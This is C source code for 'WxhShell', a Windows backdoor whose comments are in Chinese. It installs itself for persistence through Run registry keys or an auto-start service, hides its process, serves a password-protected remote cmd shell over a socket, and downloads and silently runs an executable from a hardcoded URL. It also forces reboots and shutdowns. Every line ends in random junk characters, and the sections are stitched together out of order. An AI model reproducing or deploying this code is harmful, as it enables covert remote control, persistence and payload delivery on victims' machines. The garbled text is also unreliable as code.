    closesocket(wsh); {d )Et;_  
    ExitThread(0);  .# M 5L  
    } v~@Y_ `l  
    break; ;z%& 3u/  
    } L.|GC7$0  
  // 获取shell %/U Q0d~b  
  case 's': { KAUYE^  
    CmdShell(wsh); 2RM1-j ($  
    closesocket(wsh); 8V4Qyi|@F  
    ExitThread(0);  W#??fae  
    break; 8uCd|dJ  
  } O4-UVxv}  
  // 退出 -"a])- j  
  case 'x': { hO(HwG?8t  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); sIELkF?.  
    CloseIt(wsh); kXG+zsT  
    break; i%\nJs*  
    } _q8s 7H  
  // 离开 zpa'G1v  
  case 'q': { ^5GS !u"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); V=S`%1dLN  
    closesocket(wsh); :I&iDS>u1  
    WSACleanup(); t+?\4+!<  
    exit(1); t+h"YiT  
    break; 6J=~*&  
        } 2y<d@z:K  
  } ,e>ugI_;*  
  } c%B=TAs5c  
`|PxEif+J  
  // 提示信息 v}cm-_*v  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q"Bgr&RJ  
} E!Ng=}G&_  
  } -'8|D!>v2  
}D=h"\_=  
  return; +ckj]yA;  
} bF flA  
2_Pe/  
// shell模块句柄 sH&8"5BT%  
int CmdShell(SOCKET sock) 0 TS:o/{(a  
{ bUqO.FZ[  
STARTUPINFO si; %Z}dY~:  
ZeroMemory(&si,sizeof(si)); WcUeWGC>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E+3~w?1  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Pb~S{):  
PROCESS_INFORMATION ProcessInfo; c=| a\\  
char cmdline[]="cmd"; cb UVeh7Q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +bQn2PG=  
  return 0; =h&^X>!  
} rP3)TeG6  
5 wc&0h  
// 自身启动模式 IGI2).$[  
int StartFromService(void) ;M JM~\L0  
{ 9ge$)q@3  
typedef struct ivGxtx  
{ ~S=hxKI  
  DWORD ExitStatus; fc\hQXYv  
  DWORD PebBaseAddress; g.9MPN  
  DWORD AffinityMask; wTTQIo 60  
  DWORD BasePriority; J7E/2Sl  
  ULONG UniqueProcessId; s%/0WW0y^  
  ULONG InheritedFromUniqueProcessId; ( /N`Wu  
}   PROCESS_BASIC_INFORMATION; ?9PNCd3$d  
k}<mmKB  
PROCNTQSIP NtQueryInformationProcess; U O[p   
m<076O4|`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `[ne<F?e  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [S9nF  
$23R%8j   
  HANDLE             hProcess; Y< M}'t  
  PROCESS_BASIC_INFORMATION pbi; %EVg.k$  
OZv&{_b_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /Pf7=P  
  if(NULL == hInst ) return 0; :!#-k  
,f1+jC  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); dk3\~m%Pv  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); dkVVvK  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); L ~;_R*Th  
v'iQLUgI  
  if (!NtQueryInformationProcess) return 0; T&0tW"r?  
eq/s8]uM  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); nDPfr\\  
  if(!hProcess) return 0; M.l;!U!}  
Ao]F_hZ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ph|3M<q6  
O0Z'vbFG  
  CloseHandle(hProcess); 3yZ@i<rfH  
1`)R#$h  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); * dNMnZ@Y  
if(hProcess==NULL) return 0; ,Y&kW'2  
=lffr?#&B  
HMODULE hMod; 0u0Hl%nl  
char procName[255]; 2s(K4~ee  
unsigned long cbNeeded; !-7(.i-  
[Q%3=pm_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {<|0M%v  
=!{dKz-&  
  CloseHandle(hProcess); -'I)2/%g  
!AMPA*  
if(strstr(procName,"services")) return 1; // 以服务启动 $MR{3-  
jwE<}y I  
  return 0; // 注册表启动 EM([N*8o  
} gReaFnm  
&2c?g1%  
// 主模块 z#-&MJ  
int StartWxhshell(LPSTR lpCmdLine) t qER;L  
{ ^y h  
  SOCKET wsl; c(eu[vj:  
BOOL val=TRUE; ricDP 9#a  
  int port=0; >uUbWKn3  
  struct sockaddr_in door; W*_ifZ0s.  
_mn4z+  
  if(wscfg.ws_autoins) Install(); jUfc&bi3  
>M +!i+  
port=atoi(lpCmdLine); EoY570PN  
T&{EqsI=B  
if(port<=0) port=wscfg.ws_port;  M,6AD]  
QX8N p{g-  
  WSADATA data; u4Xrvfb,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ZBnf?fU  
[qb#>P2G3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2R1W[,Ga!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +-{H T+W  
  door.sin_family = AF_INET; K3@UoR  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); t[DXG2&  
  door.sin_port = htons(port); )X7ZX#ttH  
mM95BUB  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { '7xY ,IY  
closesocket(wsl); .vb*|So  
return 1; Q"(i  
} pQqZ4L6v  
'8W }|aF  
  if(listen(wsl,2) == INVALID_SOCKET) { LS \4y&J40  
closesocket(wsl); _ Fer-nQ2R  
return 1; KQ2]VN"?_  
} %f>V\z_C  
  Wxhshell(wsl); hio{: (  
  WSACleanup();  %RJW@~!  
6x.#K9@q4  
return 0; B,A/ -B\  
L1J"_.=P  
} LUCpZ3F1  
/ AW]12_  
// 以NT服务方式启动 19lx;^b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) jgC/  
{ J M`uIVnNA  
DWORD   status = 0; uL1-@D,  
  DWORD   specificError = 0xfffffff; D!y Cnq=8  
#kxg|G[Ol  
  serviceStatus.dwServiceType     = SERVICE_WIN32; u'iOa  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /njN*rhx&Z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ap=_odW~p  
  serviceStatus.dwWin32ExitCode     = 0; rfK%%-  
  serviceStatus.dwServiceSpecificExitCode = 0; ~Ipl'cE  
  serviceStatus.dwCheckPoint       = 0; :,cSEST  
  serviceStatus.dwWaitHint       = 0; `4$" mO>+  
e0aeiG$/0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); '|6j1i0x  
  if (hServiceStatusHandle==0) return; Yr0%ZYfN  
.lj\ H  
status = GetLastError(); z43H]  
  if (status!=NO_ERROR) UZXnABg,J  
{ Qg4qjX](?  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; gTs5xDvJ  
    serviceStatus.dwCheckPoint       = 0; Z*leEwgz  
    serviceStatus.dwWaitHint       = 0; M~^|dR)D  
    serviceStatus.dwWin32ExitCode     = status;  9((v.  
    serviceStatus.dwServiceSpecificExitCode = specificError; > ^D10Nf*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]ErAa"?  
    return; :vm*miOF  
  } #2n>J'}  
:r!nz\%WW  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; xro  
  serviceStatus.dwCheckPoint       = 0; 7Xw #  
  serviceStatus.dwWaitHint       = 0; 2N>:GwN  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); fD V:ueO  
} ] $Z aS\m  
P=eL24j  
// 处理NT服务事件,比如:启动、停止 5z=;q!3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) obY5taOw  
{ 0Y[mh@(  
switch(fdwControl) l0]zZcpt  
{ #N7@p }P  
case SERVICE_CONTROL_STOP: "tm2YUG},s  
  serviceStatus.dwWin32ExitCode = 0; z}kD:A)a  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ``0knr <  
  serviceStatus.dwCheckPoint   = 0; (L q^C=  
  serviceStatus.dwWaitHint     = 0; # Z8<H  
  { [NyR$yD{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F2lTDuk>C  
  } r"k\G\,%  
  return; e6,/ i  
case SERVICE_CONTROL_PAUSE: vJK0>":G  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; D4[t@*m>7  
  break; 8 \%*4L'  
case SERVICE_CONTROL_CONTINUE: bluhiiATd  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }Vk#w%EJ  
  break; cO_En`F  
case SERVICE_CONTROL_INTERROGATE: U%"v7G-  
  break; sJMT _yt;  
}; ]iYjS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); td%EbxJK]`  
} V"k*PLt  
Y}ITA=L7  
// 标准应用程序主函数 2Fp.m}42i(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) DzH1q r  
{ 1dHN<xy  
"Q-TLN5(  
// 获取操作系统版本 c]#F^(-A`  
OsIsNt=GetOsVer(); ub7|'+5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); T =_Hd  
yB,$4:C  
  // 从命令行安装 4E<iIA\x  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6 [w_ /X"  
A6pPx1-&  
  // 下载执行文件 <4D.P2ct  
if(wscfg.ws_downexe) { %^kBcId  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |3QKxS0  
  WinExec(wscfg.ws_filenam,SW_HIDE); A^*0{F?,)  
} o[&*vc)  
4f'1g1@$  
if(!OsIsNt) { 'z>|N{-xG  
// 如果时win9x,隐藏进程并且设置为注册表启动 FK{Vnj0  
HideProc(); R~PD[.\u  
StartWxhshell(lpCmdLine); L;wzvz\+  
} hZ[,.  
else M9M~[[   
  if(StartFromService()) R:fERj<s  
  // 以服务方式启动 hCuUX)>Bt  
  StartServiceCtrlDispatcher(DispatchTable); j/ow8Jmc*  
else ,_F@9Up  
  // 普通方式启动 qwoF4_VN  
  StartWxhshell(lpCmdLine); #2^eGhwnI  
2mRm.e9?  
return 0; ]>B>.s  
} <My4 )3  
1-.6psE  
D!^&*Ia?2  
*@^9 ]$*$  
=========================================== L9W'TvTwo  
lpv Z[^G  
_H} 8eU  
P uYAoKG  
$~W =)f9  
W+k SL{0  
" #R-l2OO^]  
A]c'`Nf  
#include <stdio.h> U["'>&B  
#include <string.h> (kCzz-_\  
#include <windows.h> w&8N6gA14  
#include <winsock2.h> .hPk}B/KV  
#include <winsvc.h> qT5q3A(8  
#include <urlmon.h> Bi:%}8STH  
62)Qr  
#pragma comment (lib, "Ws2_32.lib") avxr|uk  
#pragma comment (lib, "urlmon.lib") FN0)DN2d}  
waT'|9{  
#define MAX_USER   100 // 最大客户端连接数 THEpW{.E  
#define BUF_SOCK   200 // sock buffer bys5IOP{]o  
#define KEY_BUFF   255 // 输入 buffer KW`^uoY$  
o"wvP~H  
#define REBOOT     0   // 重启 g3B%}!|  
#define SHUTDOWN   1   // 关机 zZR_&z<  
pL 2P .  
#define DEF_PORT   5000 // 监听端口 @ LPs.e  
~XU%_Hz  
#define REG_LEN     16   // 注册表键长度 40h  
#define SVC_LEN     80   // NT服务名长度 w=JO$7  
t}6QU  
// 从dll定义API ^__';! e  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .6C9N{?Tqf  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %'+}-w  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); pUF$Nq>og  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /;E{(%U)t  
 r`-=<@[  
// wxhshell配置信息 O2N7qV3 U,  
struct WSCFG { (`'(`x#  
  int ws_port;         // 监听端口 FWC\(f  
  char ws_passstr[REG_LEN]; // 口令 n4Xh}KtH  
  int ws_autoins;       // 安装标记, 1=yes 0=no $y{rM%6JU  
  char ws_regname[REG_LEN]; // 注册表键名 Y2$wL9">  
  char ws_svcname[REG_LEN]; // 服务名 Q 8| C>$n  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9 696EQ,I  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 fj"1TtPq#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 V) xwlvX  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }IJE%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" W=G8l%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 l;7T.2J'Z  
qL2!\zt>g  
}; <Fo~|Nh|  
7up~8e$_  
// default Wxhshell configuration n Nu~)X  
struct WSCFG wscfg={DEF_PORT, {gT4Oq__  
    "xuhuanlingzhe", BcXPgM!Xqz  
    1, pgUp1goAU  
    "Wxhshell", yjE $o?A  
    "Wxhshell", emT/5'y  
            "WxhShell Service", \gCh'3  
    "Wrsky Windows CmdShell Service", {HO,d{{  
    "Please Input Your Password: ", W79Sz}):  
  1, FHbyL\Q  
  "http://www.wrsky.com/wxhshell.exe", t4d^DZDh!  
  "Wxhshell.exe" yRAfIB$T}"  
    }; +,xluwv$9  
I_k/lwBD  
// 消息定义模块 M!tR>NMH  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; GAP,$xAaW  
char *msg_ws_prompt="\n\r? for help\n\r#>"; mE"(d*fe'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :@@aIFRv  
char *msg_ws_ext="\n\rExit."; *q-VY[2  
char *msg_ws_end="\n\rQuit."; (l+0*o,(  
char *msg_ws_boot="\n\rReboot..."; dD351!-  
char *msg_ws_poff="\n\rShutdown..."; 0<FT=tKm  
char *msg_ws_down="\n\rSave to "; PRal>s&f  
j82x$I*  
char *msg_ws_err="\n\rErr!"; `a6AES'w$  
char *msg_ws_ok="\n\rOK!"; R :*1Y\o(  
g|Tkl  
char ExeFile[MAX_PATH]; */'j[uj  
int nUser = 0; FFtB#  
HANDLE handles[MAX_USER]; ZHM NG~!  
int OsIsNt; ]xxE_B7  
]y9u5H^  
SERVICE_STATUS       serviceStatus; \RS0mb  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )tm%0z7R  
2WUl8?f2Y  
// 函数声明 g ySl.cxt  
int Install(void); ]P*H,&I`#  
int Uninstall(void); f = 'AI  
int DownloadFile(char *sURL, SOCKET wsh); hG2WxYk  
int Boot(int flag); V}h <,E9  
void HideProc(void);  5fq4[a  
int GetOsVer(void); (M# m BS  
int Wxhshell(SOCKET wsl); P"{yV?CNg  
void TalkWithClient(void *cs); =d BK,/  
int CmdShell(SOCKET sock); RF}R~m9]  
int StartFromService(void); <:>[24LJ{  
int StartWxhshell(LPSTR lpCmdLine); zI= 9  
Z&|Dp*Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); eGW h]%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3Yf~5csY  
7q&T2?GEN  
// 数据结构和表定义 )i"52!  
SERVICE_TABLE_ENTRY DispatchTable[] = G:!3X)b  
{ uquY z_2  
{wscfg.ws_svcname, NTServiceMain}, .6c Bx  
{NULL, NULL} OIs!,G|  
}; {)I&&fSz  
o'_eLp  
// 自我安装 SaOOD-u  
int Install(void) mtf><YU  
{ 1RauI0d*  
  char svExeFile[MAX_PATH]; V]Kk =  
  HKEY key; 0DaKd<Scv  
  strcpy(svExeFile,ExeFile); 0 s@>e  
D}rnp wp{  
// 如果是win9x系统,修改注册表设为自启动 N C3XJ 4  
if(!OsIsNt) { bg2r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vt#&YXu{A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zmg :Z p=  
  RegCloseKey(key); 1()pKBHf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T"e"?JSRJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8&:dzS  
  RegCloseKey(key); V#+M lN  
  return 0; ZEB,Q~  
    } &8dj*!4H  
  } 62o nMY  
} J u"/#@  
else { [U,hb1Wi3  
s( :N>K5*  
// 如果是NT以上系统,安装为系统服务 PKZMuEEy,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); * $|9e  
if (schSCManager!=0) jA3xDbM  
{ 3F9dr@I.7  
  SC_HANDLE schService = CreateService ,Vy_%f  
  ( $\aJ.N6rb  
  schSCManager, 4|hfzCjMI  
  wscfg.ws_svcname, 7g4IAsoD  
  wscfg.ws_svcdisp, ?NxaJ^  
  SERVICE_ALL_ACCESS, |[@v+koq  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0?''v>%  
  SERVICE_AUTO_START, :cA8[!  
  SERVICE_ERROR_NORMAL, CN6b 982&  
  svExeFile, ;73{n*a$  
  NULL, `^ )oVs  
  NULL, _z@_.%P\  
  NULL, m'eM&1Ba  
  NULL, , _bG'Hmt  
  NULL gMPvzBpP  
  ); #<5i/5&  
  if (schService!=0) i'`>YX  
  { r@CbhD  
  CloseServiceHandle(schService); qhmA)AWG>  
  CloseServiceHandle(schSCManager); #TIlM]5%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); dW%;Z  
  strcat(svExeFile,wscfg.ws_svcname); E8.1jCL>{"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { o;v_vCLO  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -+Z&O?pSH  
  RegCloseKey(key); loD:4e1  
  return 0; Me-H'Mp~  
    } 36d6KS 7  
  } yW;]J8 7*  
  CloseServiceHandle(schSCManager); lrmz'M'  
} ,[u.5vC  
} lGEfI&1%!  
17lc5#^L  
return 1; Aj+0R?9tG  
} : n\D  
5ZjM:wrF|  
// 自我卸载 RCMO?CBe  
int Uninstall(void) ,ysn7Y{Y  
{ .WS7gTw  
  HKEY key; 7Pr5`#x#  
:+ AqY(Gz  
if(!OsIsNt) { T*#<p;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QKh vP>  
  RegDeleteValue(key,wscfg.ws_regname); tj:>o#D  
  RegCloseKey(key); O*1la/~m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `llSHsIkXb  
  RegDeleteValue(key,wscfg.ws_regname); !I Byv%m&\  
  RegCloseKey(key); cK t8e^P  
  return 0; 8cbgP$X  
  } `IK3e9QpcA  
} Bz6Zy)&sAL  
} b$}@0  
else { 6S?*z `v  
(oB9$Zz!t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $B@K  
if (schSCManager!=0) gX]'RBTb  
{ Lu~M=Fh  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); SA.,Q~_T7  
  if (schService!=0) G=>LW1E|  
  { h|.*V$3  
  if(DeleteService(schService)!=0) { =mh)b]].4\  
  CloseServiceHandle(schService); 6}q# c  
  CloseServiceHandle(schSCManager); $1myf Z  
  return 0; ^qPS&G  
  } Ok_)C+o  
  CloseServiceHandle(schService); #zKF/H|_R  
  } XD|vB+j\O  
  CloseServiceHandle(schSCManager); } "AGX  
} v,mn=Q&9  
} B1 [O9U:  
|79n 1;+\?  
return 1; /-1 F9  
} \"mL LnK?  
q}%;O >Z  
// 从指定url下载文件 B#(2,j7M  
int DownloadFile(char *sURL, SOCKET wsh) lof}isOz  
{ ZTP&*+d  
  HRESULT hr; <utD&D8w  
char seps[]= "/"; 2bt2h.a  
char *token; f*ZIBTb 9  
char *file; .\b# 0w  
char myURL[MAX_PATH]; x2H?B` 5  
char myFILE[MAX_PATH]; x0x/2re  
}_o!f V  
strcpy(myURL,sURL); (Y?" L_pC  
  token=strtok(myURL,seps); "e~"-B7(\Y  
  while(token!=NULL) B$%7U><'  
  { 9oJ=:E~CP  
    file=token; }u8D5Q<(  
  token=strtok(NULL,seps); U^{'"x+  
  } -4'yC_8t  
QyX ?  
GetCurrentDirectory(MAX_PATH,myFILE); olO&7jh7|  
strcat(myFILE, "\\"); m8njP-CZ  
strcat(myFILE, file); 3ws}E6\D  
  send(wsh,myFILE,strlen(myFILE),0); c`h/x>fa  
send(wsh,"...",3,0); }w8:`g'T0/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); sz%'=J~!V  
  if(hr==S_OK) Mlr}v^"G  
return 0; 6v}WdK  
else . ;q 4<_  
return 1; :]oRx  
@q]{s+#Xf  
} T'nQj<dBt:  
naoH685R4  
// 系统电源模块 Qs.g%  
int Boot(int flag) -l` 1j6  
{ f*^)0Po  
  HANDLE hToken; , *A',  
  TOKEN_PRIVILEGES tkp; *eo<5YUHt  
wIT}>8o  
  if(OsIsNt) { )Vb_0n=^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  ?[G!6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); QcDWVM'v  
    tkp.PrivilegeCount = 1; < l%3P6|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; x0!5z1KQh  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;Y>cegG\  
if(flag==REBOOT) { RZeU{u<O  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #]!0$z|Z  
  return 0; ^N5BJ'[F:  
} H#B~ h4#  
else { RuHMD"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9(( QSX  
  return 0; aGY F\7  
} 51k^?5cO  
  } F! ;0eS"xp  
  else { A+lP]Oy0S  
if(flag==REBOOT) { Qpc+1{BQ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &S"o jbb  
  return 0; EK6fd#J?1  
} :}Tw+S5  
else { R~],5_|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3./4] _p  
  return 0; RrDNEwAr  
} OyG$ ]C  
} P]@m0f  
[fU2$(mT+  
return 1; )MKzAAt~  
} ;hOrLy&O  
&T8prE?  
// win9x进程隐藏模块 / 1jb8w'  
void HideProc(void) u8Au `  
{ ^p0BeSRiy;  
FasA f( 3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {yy ^DlHb  
  if ( hKernel != NULL ) "s]c79t  
  { bX:ARe O  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^< ,Np+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Jk)^6  
    FreeLibrary(hKernel); $#dPM*E  
  } E:N~c'k  
_tg&_P+kV  
return; MU^7(s="  
}  U'nz3  
KbY5 qou  
// 获取操作系统版本 K>TdN+Z}=  
int GetOsVer(void) UpgY}pf}  
{ rZDlPp>BPZ  
  OSVERSIONINFO winfo; %/:{x()G  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Z%Nl<i  
  GetVersionEx(&winfo); dE+xU(\, w  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Syn>;FX  
  return 1; 9'I I!  
  else Uu9\;f  
  return 0; @L8('8~d  
} #L{QnV.3  
OgNt"Vg  
// 客户端句柄模块 >Rw[x  
int Wxhshell(SOCKET wsl) f!~gfnn  
{ =>Vo|LBoe  
  SOCKET wsh; )POuH*j  
  struct sockaddr_in client; r[zxb0YA  
  DWORD myID; &WIiw$@  
GQTMQXn(  
  while(nUser<MAX_USER) b:Lp`8Du  
{ zA&lJD $0  
  int nSize=sizeof(client); Kc*h@#`~oL  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); v ?)-KtX|  
  if(wsh==INVALID_SOCKET) return 1; )g:\N8AZK  
;$G.?r  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9}FWO&LiB  
if(handles[nUser]==0) kL,{H~iq;  
  closesocket(wsh); Memz>uux  
else H'E >QT  
  nUser++; AlNiqnZ  
  } }!\ZJoa  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8 YAUy\  
0+0+%#?  
  return 0; e g#.f`  
} u0^: XwZ!  
E0^~i:M k  
// 关闭 socket *r)/.rK_  
void CloseIt(SOCKET wsh) E8WOXoP(  
{ LoLmT7  
closesocket(wsh); 8oG0tX3i  
nUser--; 0l6z!@GhT  
ExitThread(0); -DrR6kGjR  
} x-k}RI  
maLKUSgo  
// 客户端请求句柄 e%&2tf4  
void TalkWithClient(void *cs) }u&.n pc  
{ ewqfs/  
^0 R.U+?+  
  SOCKET wsh=(SOCKET)cs; <8[BB7  
  char pwd[SVC_LEN]; BhkJ >4#  
  char cmd[KEY_BUFF]; nZa.3/7dJ  
char chr[1]; z!5^UD8"W  
int i,j; ^c}Z$V  
k7Fa+Y)K7  
  while (nUser < MAX_USER) { %^m6Q!  
&dZ-}. af  
if(wscfg.ws_passstr) { >[=q9k  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o~,dkV  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sB ]~=vUP  
  //ZeroMemory(pwd,KEY_BUFF); kC"<4U  
      i=0; Uu{I4ls6B  
  while(i<SVC_LEN) { 6)m}e?D>  
t5#IiPp  
  // 设置超时 o`HZS|>K*  
  fd_set FdRead; OS6 l*S('  
  struct timeval TimeOut; 8*3<Erv  
  FD_ZERO(&FdRead); l [?o du4  
  FD_SET(wsh,&FdRead); ]:JoGGE a0  
  TimeOut.tv_sec=8; ]S4kWq{Y  
  TimeOut.tv_usec=0; a|`Pg1j#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); KFdTw{GlJ7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^!-*xH.dK  
.oYUA}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Fd-PjW/E8  
  pwd=chr[0]; v2:A 4Pd:+  
  if(chr[0]==0xd || chr[0]==0xa) { *,~d!Fc  
  pwd=0; v' 7,(.E  
  break; ahA21W` k  
  } Zf |%t  
  i++; kt.z,<w5O  
    } W~+ ] 7<  
1q<BYc+z  
  // 如果是非法用户,关闭 socket {wRsV=*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2e zQX2q  
} CN@bJo2  
M ()&GlNs  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); cj@Ygc)n  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n5A0E2!  
0'`>20Y  
while(1) { Iodk1Y;  
>6Y\CixN  
  ZeroMemory(cmd,KEY_BUFF); /=A?O\B7  
('pNAn!]  
      // 自动支持客户端 telnet标准   ~isrE;N1|  
  j=0; k/YEUC5  
  while(j<KEY_BUFF) { q?g4**C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m'k.R j  
  cmd[j]=chr[0]; yTwv2l;U  
  if(chr[0]==0xa || chr[0]==0xd) { r7/y'Y]O  
  cmd[j]=0; \Q<c Y<  
  break; 7OX5"u!2  
  } PI(;t9]b  
  j++; qz"di~7  
    } e )l<D)  
^AtAfVJN0  
  // 下载文件 :zZK%} G<  
  if(strstr(cmd,"http://")) { wq!Gj]B  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?9nuL}m!a  
  if(DownloadFile(cmd,wsh)) $ 5ZBNGr  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6U6,Wu  
  else YU.aZdA&V3  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s~$ZTzV  
  } bB@1tp0+  
  else { ik)T>rYg0  
ya3A^&:  
    switch(cmd[0]) { bmVksi2b  
  ,\q9>cZ!  
  // 帮助 7{=/rbZT?  
  case '?': { FjqoO.  
